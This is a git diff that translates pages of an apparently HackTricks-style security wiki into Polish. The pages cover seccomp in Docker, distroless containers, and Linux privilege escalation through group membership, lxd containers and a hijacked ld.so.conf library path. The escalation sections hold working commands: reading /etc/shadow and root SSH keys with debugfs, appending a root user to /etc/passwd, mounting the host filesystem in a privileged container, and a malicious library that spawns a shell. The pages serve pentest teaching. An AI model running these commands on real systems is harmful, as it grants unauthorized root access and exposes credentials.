+SCMP_A0(SCMP_CMP_NE, 1)); - /* load and enforce the filters */ - printf("Load rules and enforce \n"); - seccomp_load(ctx); - seccomp_release(ctx); - //Get the getpid is denied, a weird number will be returned like - //this process is -9 - printf("this process is %d\n", getpid()); +/* load and enforce the filters */ +printf("Load rules and enforce \n"); +seccomp_load(ctx); +seccomp_release(ctx); +//Get the getpid is denied, a weird number will be returned like +//this process is -9 +printf("this process is %d\n", getpid()); } ``` +## Seccomp w Dockerze -## Seccomp in Docker - -**Seccomp-bpf** is supported by **Docker** to restrict the **syscalls** from the containers effectively decreasing the surface area. You can find the **syscalls blocked** by **default** in [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) and the **default seccomp profile** can be found here [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json).\ -You can run a docker container with a **different seccomp** policy with: - +**Seccomp-bpf** jest wspierany przez **Docker** w celu ograniczenia **syscalls** z kontenerów, skutecznie zmniejszając powierzchnię ataku. Możesz znaleźć **syscalls zablokowane** domyślnie w [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) a **domyślny profil seccomp** można znaleźć tutaj [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json).\ +Możesz uruchomić kontener docker z **inną polityką seccomp** za pomocą: ```bash docker run --rm \ - -it \ - --security-opt seccomp=/path/to/seccomp/profile.json \ - hello-world +-it \ +--security-opt seccomp=/path/to/seccomp/profile.json \ +hello-world ``` - -If you want for example to **forbid** a container of executing some **syscall** like `uname` you could download the default profile from [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) and just **remove the `uname` string from the list**.\ -If you want to make sure that **some binary doesn't work inside a a docker container** you could use strace to list the syscalls the binary is using and then forbid them.\ -In the following example the **syscalls** of `uname` are discovered: - +Jeśli chcesz na przykład **zabronić** kontenerowi wykonywania niektórych **syscall** jak `uname`, możesz pobrać domyślny profil z [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) i po prostu **usunąć ciąg `uname` z listy**.\ +Jeśli chcesz upewnić się, że **niektóre binarne pliki nie działają wewnątrz kontenera docker**, możesz użyć strace, aby wylistować syscalls, które używa binarny plik, a następnie je zabronić.\ +W następującym przykładzie odkrywane są **syscall** `uname`: ```bash docker run -it --security-opt seccomp=default.json modified-ubuntu strace uname ``` - > [!NOTE] -> If you are using **Docker just to launch an application**, you can **profile** it with **`strace`** and **just allow the syscalls** it needs +> Jeśli używasz **Dockera tylko do uruchamiania aplikacji**, możesz **profilować** go za pomocą **`strace`** i **pozwolić tylko na te syscalls**, które są potrzebne -### Example Seccomp policy +### Przykład polityki Seccomp -[Example from here](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/) - -To illustrate Seccomp feature, let’s create a Seccomp profile disabling “chmod” system call as below. +[Przykład stąd](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/) +Aby zilustrować funkcję Seccomp, stwórzmy profil Seccomp, który wyłącza wywołanie systemowe „chmod” jak poniżej. ```json { - "defaultAction": "SCMP_ACT_ALLOW", - "syscalls": [ - { - "name": "chmod", - "action": "SCMP_ACT_ERRNO" - } - ] +"defaultAction": "SCMP_ACT_ALLOW", +"syscalls": [ +{ +"name": "chmod", +"action": "SCMP_ACT_ERRNO" +} +] } ``` - -In the above profile, we have set default action to “allow” and created a black list to disable “chmod”. To be more secure, we can set default action to drop and create a white list to selectively enable system calls.\ -Following output shows the “chmod” call returning error because its disabled in the seccomp profile - +W powyższym profilu ustawiliśmy domyślną akcję na „zezwól” i utworzyliśmy czarną listę, aby wyłączyć „chmod”. Aby być bardziej bezpiecznym, możemy ustawić domyślną akcję na odrzucenie i utworzyć białą listę, aby selektywnie włączyć wywołania systemowe.\ +Poniższy wynik pokazuje, że wywołanie „chmod” zwraca błąd, ponieważ jest wyłączone w profilu seccomp. ```bash $ docker run --rm -it --security-opt seccomp:/home/smakam14/seccomp/profile.json busybox chmod 400 /etc/hosts chmod: /etc/hosts: Operation not permitted ``` - -Following output shows the “docker inspect” displaying the profile: - +Poniższy wynik pokazuje „docker inspect” wyświetlający profil: ```json "SecurityOpt": [ - "seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}" - ] +"seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}" +] ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md b/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md index a733d5934..76a293702 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md +++ b/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md @@ -4,27 +4,27 @@ ## What is Distroless -A distroless container is a type of container that **contains only the necessary dependencies to run a specific application**, without any additional software or tools that are not required. These containers are designed to be as **lightweight** and **secure** as possible, and they aim to **minimize the attack surface** by removing any unnecessary components. +Kontener distroless to rodzaj kontenera, który **zawiera tylko niezbędne zależności do uruchomienia konkretnej aplikacji**, bez dodatkowego oprogramowania lub narzędzi, które nie są wymagane. Te kontenery są zaprojektowane, aby być jak **najlżejsze** i **najbezpieczniejsze** możliwe, a ich celem jest **minimalizacja powierzchni ataku** poprzez usunięcie wszelkich zbędnych komponentów. -Distroless containers are often used in **production environments where security and reliability are paramount**. +Kontenery distroless są często używane w **środowiskach produkcyjnych, gdzie bezpieczeństwo i niezawodność są kluczowe**. -Some **examples** of **distroless containers** are: +Niektóre **przykłady** **kontenerów distroless** to: -- Provided by **Google**: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL) -- Provided by **Chainguard**: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images) +- Dostarczone przez **Google**: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL) +- Dostarczone przez **Chainguard**: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images) ## Weaponizing Distroless -The goal of weaponize a distroless container is to be able to **execute arbitrary binaries and payloads even with the limitations** implied by **distroless** (lack of common binaries in the system) and also protections commonly found in containers such as **read-only** or **no-execute** in `/dev/shm`. +Celem uzbrojenia kontenera distroless jest możliwość **wykonywania dowolnych binarek i ładunków, nawet z ograniczeniami** narzuconymi przez **distroless** (brak powszechnych binarek w systemie) oraz ochronami powszechnie spotykanymi w kontenerach, takimi jak **tylko do odczytu** lub **brak wykonania** w `/dev/shm`. ### Through memory -Coming at some point of 2023... +Nadchodzi w pewnym momencie 2023... ### Via Existing binaries #### openssl -\***\*[**In this post,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) it is explained that the binary **`openssl`** is frequently found in these containers, potentially because it's **needed\*\* by the software that is going to be running inside the container. +\***\*[**W tym poście,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) wyjaśniono, że binarka **`openssl`** jest często znajdowana w tych kontenerach, potencjalnie dlatego, że jest **potrzebna\*\* przez oprogramowanie, które ma działać wewnątrz kontenera. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md index f34a6d548..2518baf0d 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md @@ -1,13 +1,12 @@ -# Interesting Groups - Linux Privesc +# Ciekawe Grupy - Linux Privesc {{#include ../../../banners/hacktricks-training.md}} -## Sudo/Admin Groups +## Grupy Sudo/Admin -### **PE - Method 1** - -**Sometimes**, **by default (or because some software needs it)** inside the **/etc/sudoers** file you can find some of these lines: +### **PE - Metoda 1** +**Czasami**, **domyślnie (lub ponieważ niektóre oprogramowanie tego potrzebuje)** w pliku **/etc/sudoers** możesz znaleźć niektóre z tych linii: ```bash # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL @@ -15,48 +14,36 @@ # Allow members of group admin to execute any command %admin ALL=(ALL:ALL) ALL ``` +To oznacza, że **każdy użytkownik, który należy do grupy sudo lub admin, może wykonywać cokolwiek jako sudo**. -This means that **any user that belongs to the group sudo or admin can execute anything as sudo**. - -If this is the case, to **become root you can just execute**: - +Jeśli tak jest, aby **stać się rootem, wystarczy wykonać**: ``` sudo su ``` +### PE - Metoda 2 -### PE - Method 2 - -Find all suid binaries and check if there is the binary **Pkexec**: - +Znajdź wszystkie binarki suid i sprawdź, czy istnieje binarka **Pkexec**: ```bash find / -perm -4000 2>/dev/null ``` - -If you find that the binary **pkexec is a SUID binary** and you belong to **sudo** or **admin**, you could probably execute binaries as sudo using `pkexec`.\ -This is because typically those are the groups inside the **polkit policy**. This policy basically identifies which groups can use `pkexec`. Check it with: - +Jeśli odkryjesz, że binarny plik **pkexec jest binarnym plikiem SUID** i należysz do **sudo** lub **admin**, prawdopodobnie będziesz mógł wykonywać binaria jako sudo za pomocą `pkexec`.\ +Dzieje się tak, ponieważ zazwyczaj są to grupy w ramach **polkit policy**. Ta polityka zasadniczo identyfikuje, które grupy mogą używać `pkexec`. Sprawdź to za pomocą: ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` +Tam znajdziesz, które grupy mają prawo do wykonywania **pkexec**, a **domyślnie** w niektórych dystrybucjach Linuksa pojawiają się grupy **sudo** i **admin**. -There you will find which groups are allowed to execute **pkexec** and **by default** in some linux disctros the groups **sudo** and **admin** appear. - -To **become root you can execute**: - +Aby **stać się rootem, możesz wykonać**: ```bash pkexec "/bin/sh" #You will be prompted for your user password ``` - -If you try to execute **pkexec** and you get this **error**: - +Jeśli spróbujesz wykonać **pkexec** i otrzymasz ten **błąd**: ```bash polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie ==== AUTHENTICATION FAILED === Error executing command as another user: Not authorized ``` - -**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**: - +**To nie dlatego, że nie masz uprawnień, ale dlatego, że nie jesteś połączony bez GUI**. A tutaj jest obejście tego problemu: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Potrzebujesz **2 różnych sesji ssh**: ```bash:session1 echo $$ #Step1: Get current PID pkexec "/bin/bash" #Step 3, execute pkexec @@ -67,39 +54,31 @@ pkexec "/bin/bash" #Step 3, execute pkexec pkttyagent --process #Step 2, attach pkttyagent to session1 #Step 4, you will be asked in this session to authenticate to pkexec ``` +## Grupa Wheel -## Wheel Group - -**Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line: - +**Czasami**, **domyślnie** w pliku **/etc/sudoers** możesz znaleźć tę linię: ``` %wheel ALL=(ALL:ALL) ALL ``` +To oznacza, że **każdy użytkownik, który należy do grupy wheel, może wykonywać cokolwiek jako sudo**. -This means that **any user that belongs to the group wheel can execute anything as sudo**. - -If this is the case, to **become root you can just execute**: - +Jeśli tak jest, aby **stać się rootem, wystarczy wykonać**: ``` sudo su ``` - ## Shadow Group -Users from the **group shadow** can **read** the **/etc/shadow** file: - +Użytkownicy z **grupy shadow** mogą **czytać** plik **/etc/shadow**: ``` -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` +So, przeczytaj plik i spróbuj **złamać niektóre hashe**. -So, read the file and try to **crack some hashes**. +## Grupa Pracowników -## Staff Group - -**staff**: Allows users to add local modifications to the system (`/usr/local`) without needing root privileges (note that executables in `/usr/local/bin` are in the PATH variable of any user, and they may "override" the executables in `/bin` and `/usr/bin` with the same name). Compare with group "adm", which is more related to monitoring/security. [\[source\]](https://wiki.debian.org/SystemGroups) - -In debian distributions, `$PATH` variable show that `/usr/local/` will be run as the highest priority, whether you are a privileged user or not. +**staff**: Pozwala użytkownikom na dodawanie lokalnych modyfikacji do systemu (`/usr/local`) bez potrzeby posiadania uprawnień roota (zauważ, że pliki wykonywalne w `/usr/local/bin` są w zmiennej PATH każdego użytkownika i mogą "nadpisywać" pliki wykonywalne w `/bin` i `/usr/bin` o tej samej nazwie). Porównaj z grupą "adm", która jest bardziej związana z monitorowaniem/bezpieczeństwem. [\[source\]](https://wiki.debian.org/SystemGroups) +W dystrybucjach debiana, zmienna `$PATH` pokazuje, że `/usr/local/` będzie uruchamiana z najwyższym priorytetem, niezależnie od tego, czy jesteś użytkownikiem z uprawnieniami, czy nie. ```bash $ echo $PATH /usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games @@ -107,11 +86,9 @@ $ echo $PATH # echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin ``` +Jeśli możemy przejąć niektóre programy w `/usr/local`, możemy łatwo uzyskać dostęp do roota. -If we can hijack some programs in `/usr/local`, we can easy to get root. - -Hijack `run-parts` program is a way to easy to get root, because most of program will run a `run-parts` like (crontab, when ssh login). - +Przejęcie programu `run-parts` to łatwy sposób na uzyskanie roota, ponieważ większość programów uruchomi `run-parts`, jak (crontab, podczas logowania przez ssh). ```bash $ cat /etc/crontab | grep run-parts 17 * * * * root cd / && run-parts --report /etc/cron.hourly @@ -119,9 +96,7 @@ $ cat /etc/crontab | grep run-parts 47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; } 52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; } ``` - -or When a new ssh session login. - +lub gdy nowe logowanie do sesji ssh. ```bash $ pspy64 2024/02/01 22:02:08 CMD: UID=0 PID=1 | init [2] @@ -134,9 +109,7 @@ $ pspy64 2024/02/01 22:02:14 CMD: UID=0 PID=17890 | sshd: mane [priv] 2024/02/01 22:02:15 CMD: UID=0 PID=17891 | -bash ``` - -**Exploit** - +**Eksploatacja** ```bash # 0x1 Add a run-parts script in /usr/local/bin/ $ vi /usr/local/bin/run-parts @@ -155,13 +128,11 @@ $ ls -la /bin/bash # 0x5 root it $ /bin/bash -p ``` +## Grupa dysków -## Disk Group - -This privilege is almost **equivalent to root access** as you can access all the data inside of the machine. - -Files:`/dev/sd[a-z][1-9]` +To uprawnienie jest prawie **równoważne z dostępem root** ponieważ możesz uzyskać dostęp do wszystkich danych wewnątrz maszyny. +Pliki:`/dev/sd[a-z][1-9]` ```bash df -h #Find where "/" is mounted debugfs /dev/sda1 @@ -170,57 +141,47 @@ debugfs: ls debugfs: cat /root/.ssh/id_rsa debugfs: cat /etc/shadow ``` - -Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do: - +Zauważ, że używając debugfs możesz również **zapisywać pliki**. Na przykład, aby skopiować `/tmp/asd1.txt` do `/tmp/asd2.txt`, możesz to zrobić: ```bash debugfs -w /dev/sda1 debugfs: dump /tmp/asd1.txt /tmp/asd2.txt ``` +Jednakże, jeśli spróbujesz **zapisać pliki należące do roota** (takie jak `/etc/shadow` lub `/etc/passwd`), otrzymasz błąd "**Permission denied**". -However, if you try to **write files owned by root** (like `/etc/shadow` or `/etc/passwd`) you will have a "**Permission denied**" error. - -## Video Group - -Using the command `w` you can find **who is logged on the system** and it will show an output like the following one: +## Grupa Wideo +Używając polecenia `w`, możesz znaleźć **kto jest zalogowany w systemie** i wyświetli to wynik podobny do poniższego: ```bash USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT yossi tty1 22:16 5:13m 0.05s 0.04s -bash moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash ``` +**tty1** oznacza, że użytkownik **yossi jest fizycznie zalogowany** do terminala na maszynie. -The **tty1** means that the user **yossi is logged physically** to a terminal on the machine. - -The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size` - +Grupa **video** ma dostęp do wyświetlania wyjścia ekranu. W zasadzie możesz obserwować ekrany. Aby to zrobić, musisz **złapać bieżący obraz na ekranie** w surowych danych i uzyskać rozdzielczość, którą używa ekran. Dane ekranu można zapisać w `/dev/fb0`, a rozdzielczość tego ekranu można znaleźć w `/sys/class/graphics/fb0/virtual_size` ```bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size ``` - -To **open** the **raw image** you can use **GIMP**, select the \*\*`screen.raw` \*\* file and select as file type **Raw image data**: +Aby **otworzyć** **surowy obraz**, możesz użyć **GIMP**, wybrać plik **`screen.raw`** i wybrać jako typ pliku **Surowe dane obrazu**: ![](<../../../images/image (463).png>) -Then modify the Width and Height to the ones used on the screen and check different Image Types (and select the one that shows better the screen): +Następnie zmodyfikuj Szerokość i Wysokość na te używane na ekranie i sprawdź różne Typy obrazów (i wybierz ten, który najlepiej pokazuje ekran): ![](<../../../images/image (317).png>) -## Root Group +## Grupa Root -It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges... - -**Check which files root members can modify**: +Wygląda na to, że domyślnie **członkowie grupy root** mogą mieć dostęp do **modyfikacji** niektórych plików konfiguracyjnych **usług** lub niektórych plików **bibliotek** lub **innych interesujących rzeczy**, które mogą być użyte do eskalacji uprawnień... +**Sprawdź, które pliki członkowie root mogą modyfikować**: ```bash find / -group root -perm -g=w 2>/dev/null ``` +## Grupa Docker -## Docker Group - -You can **mount the root filesystem of the host machine to an instance’s volume**, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine. - +Możesz **zamontować system plików root maszyny hosta do woluminu instancji**, więc gdy instancja się uruchamia, natychmiast ładuje `chroot` do tego woluminu. To skutecznie daje ci uprawnienia root na maszynie. ```bash docker image #Get images from the docker service @@ -232,33 +193,32 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa #Ifyou just want filesystem and network access you can startthe following container: docker run --rm -it --pid=host --net=host --privileged -v /:/mnt chroot /mnt bashbash ``` - -Finally, if you don't like any of the suggestions of before, or they aren't working for some reason (docker api firewall?) you could always try to **run a privileged container and escape from it** as explained here: +Na koniec, jeśli nie podoba Ci się żadna z wcześniejszych sugestii lub z jakiegoś powodu nie działają (firewall API dockera?), zawsze możesz spróbować **uruchomić kontener z uprawnieniami i wydostać się z niego**, jak wyjaśniono tutaj: {{#ref}} ../docker-security/ {{#endref}} -If you have write permissions over the docker socket read [**this post about how to escalate privileges abusing the docker socket**](../#writable-docker-socket)**.** +Jeśli masz uprawnienia do zapisu w gnieździe dockera, przeczytaj [**ten post o tym, jak eskalować uprawnienia, nadużywając gniazda dockera**](../#writable-docker-socket)**.** {% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} {% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %} -## lxc/lxd Group +## Grupa lxc/lxd {{#ref}} ./ {{#endref}} -## Adm Group +## Grupa Adm -Usually **members** of the group **`adm`** have permissions to **read log** files located inside _/var/log/_.\ -Therefore, if you have compromised a user inside this group you should definitely take a **look to the logs**. +Zazwyczaj **członkowie** grupy **`adm`** mają uprawnienia do **odczytu plików dziennika** znajdujących się w _/var/log/_.\ +Dlatego, jeśli skompromitowałeś użytkownika w tej grupie, zdecydowanie powinieneś **sprawdzić logi**. -## Auth group +## Grupa Auth -Inside OpenBSD the **auth** group usually can write in the folders _**/etc/skey**_ and _**/var/db/yubikey**_ if they are used.\ -These permissions may be abused with the following exploit to **escalate privileges** to root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) +W OpenBSD grupa **auth** zazwyczaj może pisać w folderach _**/etc/skey**_ i _**/var/db/yubikey**_, jeśli są używane.\ +Te uprawnienia mogą być nadużywane za pomocą następującego exploita, aby **eskalować uprawnienia** do roota: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md index f308931ab..5dba62be7 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md @@ -1,15 +1,14 @@ -# lxd/lxc Group - Privilege escalation +# lxd/lxc Grupa - Eskalacja uprawnień {{#include ../../../banners/hacktricks-training.md}} -If you belong to _**lxd**_ **or** _**lxc**_ **group**, you can become root +Jeśli należysz do grupy _**lxd**_ **lub** _**lxc**_, możesz stać się rootem -## Exploiting without internet +## Wykorzystanie bez internetu -### Method 1 - -You can install in your machine this distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(follow the instructions of the github): +### Metoda 1 +Możesz zainstalować na swoim komputerze to narzędzie do budowy dystrybucji: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(postępuj zgodnie z instrukcjami na githubie): ```bash sudo su # Install requirements @@ -34,9 +33,7 @@ sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18 ## Using build-lxc sudo $HOME/go/bin/distrobuilder build-lxc alpine.yaml -o image.release=3.18 ``` - -Upload the files **lxd.tar.xz** and **rootfs.squashfs**, add the image to the repo and create a container: - +Prześlij pliki **lxd.tar.xz** i **rootfs.squashfs**, dodaj obraz do repozytorium i utwórz kontener: ```bash lxc image import lxd.tar.xz rootfs.squashfs --alias alpine @@ -51,23 +48,19 @@ lxc list lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true ``` - > [!CAUTION] -> If you find this error _**Error: No storage pool found. Please create a new storage pool**_\ -> Run **`lxd init`** and **repeat** the previous chunk of commands - -Finally you can execute the container and get root: +> Jeśli napotkasz ten błąd _**Błąd: Nie znaleziono puli pamięci. Proszę utworzyć nową pulę pamięci**_\ +> Uruchom **`lxd init`** i **powtórz** poprzedni zestaw poleceń +Na koniec możesz uruchomić kontener i uzyskać dostęp do roota: ```bash lxc start privesc lxc exec privesc /bin/sh [email protected]:~# cd /mnt/root #Here is where the filesystem is mounted ``` +### Metoda 2 -### Method 2 - -Build an Alpine image and start it using the flag `security.privileged=true`, forcing the container to interact as root with the host filesystem. - +Zbuduj obraz Alpine i uruchom go z flagą `security.privileged=true`, zmuszając kontener do interakcji jako root z systemem plików hosta. ```bash # build a simple alpine image git clone https://github.com/saghul/lxd-alpine-builder @@ -87,5 +80,4 @@ lxc init myimage mycontainer -c security.privileged=true # mount the /root into the image lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/ld.so.conf-example.md b/src/linux-hardening/privilege-escalation/ld.so.conf-example.md index ab2683a9b..55f5f8f29 100644 --- a/src/linux-hardening/privilege-escalation/ld.so.conf-example.md +++ b/src/linux-hardening/privilege-escalation/ld.so.conf-example.md @@ -2,82 +2,71 @@ {{#include ../../banners/hacktricks-training.md}} -## Prepare the environment +## Przygotowanie środowiska -In the following section you can find the code of the files we are going to use to prepare the environment +W poniższej sekcji znajdziesz kod plików, które zamierzamy użyć do przygotowania środowiska {{#tabs}} {{#tab name="sharedvuln.c"}} - ```c #include #include "libcustom.h" int main(){ - printf("Welcome to my amazing application!\n"); - vuln_func(); - return 0; +printf("Welcome to my amazing application!\n"); +vuln_func(); +return 0; } ``` - {{#endtab}} {{#tab name="libcustom.h"}} - ```c #include void vuln_func(); ``` - {{#endtab}} {{#tab name="libcustom.c"}} - ```c #include void vuln_func() { - puts("Hi"); +puts("Hi"); } ``` - {{#endtab}} {{#endtabs}} -1. **Create** those files in your machine in the same folder -2. **Compile** the **library**: `gcc -shared -o libcustom.so -fPIC libcustom.c` -3. **Copy** `libcustom.so` to `/usr/lib`: `sudo cp libcustom.so /usr/lib` (root privs) -4. **Compile** the **executable**: `gcc sharedvuln.c -o sharedvuln -lcustom` +1. **Utwórz** te pliki na swoim komputerze w tym samym folderze +2. **Skompiluj** **bibliotekę**: `gcc -shared -o libcustom.so -fPIC libcustom.c` +3. **Skopiuj** `libcustom.so` do `/usr/lib`: `sudo cp libcustom.so /usr/lib` (uprawnienia roota) +4. **Skompiluj** **wykonywalny**: `gcc sharedvuln.c -o sharedvuln -lcustom` -### Check the environment - -Check that _libcustom.so_ is being **loaded** from _/usr/lib_ and that you can **execute** the binary. +### Sprawdź środowisko +Sprawdź, czy _libcustom.so_ jest **ładowane** z _/usr/lib_ i czy możesz **wykonać** binarny. ``` $ ldd sharedvuln - linux-vdso.so.1 => (0x00007ffc9a1f7000) - libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000) - libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000) - /lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000) +linux-vdso.so.1 => (0x00007ffc9a1f7000) +libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000) +libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000) +/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000) $ ./sharedvuln Welcome to my amazing application! Hi ``` - ## Exploit -In this scenario we are going to suppose that **someone has created a vulnerable entry** inside a file in _/etc/ld.so.conf/_: - +W tym scenariuszu założymy, że **ktoś stworzył podatny wpis** w pliku _/etc/ld.so.conf/_: ```bash sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf ``` - -The vulnerable folder is _/home/ubuntu/lib_ (where we have writable access).\ -**Download and compile** the following code inside that path: - +Wrażliwy folder to _/home/ubuntu/lib_ (gdzie mamy dostęp do zapisu).\ +**Pobierz i skompiluj** następujący kod w tym katalogu: ```c //gcc -shared -o libcustom.so -fPIC libcustom.c @@ -86,27 +75,23 @@ The vulnerable folder is _/home/ubuntu/lib_ (where we have writable access).\ #include void vuln_func(){ - setuid(0); - setgid(0); - printf("I'm the bad library\n"); - system("/bin/sh",NULL,NULL); +setuid(0); +setgid(0); +printf("I'm the bad library\n"); +system("/bin/sh",NULL,NULL); } ``` +Teraz, gdy **utworzyliśmy złośliwą bibliotekę libcustom w źle skonfigurowanej** ścieżce, musimy poczekać na **ponowne uruchomienie** lub na to, aż użytkownik root wykona **`ldconfig`** (_jeśli możesz wykonać ten plik binarny jako **sudo** lub ma on **bit suid**, będziesz mógł wykonać go samodzielnie_). -Now that we have **created the malicious libcustom library inside the misconfigured** path, we need to wait for a **reboot** or for the root user to execute **`ldconfig`** (_in case you can execute this binary as **sudo** or it has the **suid bit** you will be able to execute it yourself_). - -Once this has happened **recheck** where is the `sharevuln` executable loading the `libcustom.so` library from: - +Gdy to nastąpi, **sprawdź ponownie**, skąd wykonywalny plik `sharevuln` ładuje bibliotekę `libcustom.so`: ```c $ldd sharedvuln - linux-vdso.so.1 => (0x00007ffeee766000) - libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000) - libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000) - /lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000) +linux-vdso.so.1 => (0x00007ffeee766000) +libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000) +libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000) +/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000) ``` - -As you can see it's **loading it from `/home/ubuntu/lib`** and if any user executes it, a shell will be executed: - +Jak widać, **ładowanie odbywa się z `/home/ubuntu/lib`** i jeśli jakikolwiek użytkownik to uruchomi, zostanie uruchomiona powłoka: ```c $ ./sharedvuln Welcome to my amazing application! @@ -114,40 +99,35 @@ I'm the bad library $ whoami ubuntu ``` - > [!NOTE] -> Note that in this example we haven't escalated privileges, but modifying the commands executed and **waiting for root or other privileged user to execute the vulnerable binary** we will be able to escalate privileges. +> Zauważ, że w tym przykładzie nie podnieśliśmy uprawnień, ale modyfikując wykonywane polecenia i **czekając na to, aż root lub inny użytkownik z uprawnieniami wykona podatny plik binarny**, będziemy w stanie podnieść uprawnienia. -### Other misconfigurations - Same vuln +### Inne błędne konfiguracje - Ta sama podatność -In the previous example we faked a misconfiguration where an administrator **set a non-privileged folder inside a configuration file inside `/etc/ld.so.conf.d/`**.\ -But there are other misconfigurations that can cause the same vulnerability, if you have **write permissions** in some **config file** inside `/etc/ld.so.conf.d`s, in the folder `/etc/ld.so.conf.d` or in the file `/etc/ld.so.conf` you can configure the same vulnerability and exploit it. +W poprzednim przykładzie sfałszowaliśmy błędną konfigurację, w której administrator **ustawił folder bez uprawnień w pliku konfiguracyjnym w `/etc/ld.so.conf.d/`**.\ +Jednak istnieją inne błędne konfiguracje, które mogą 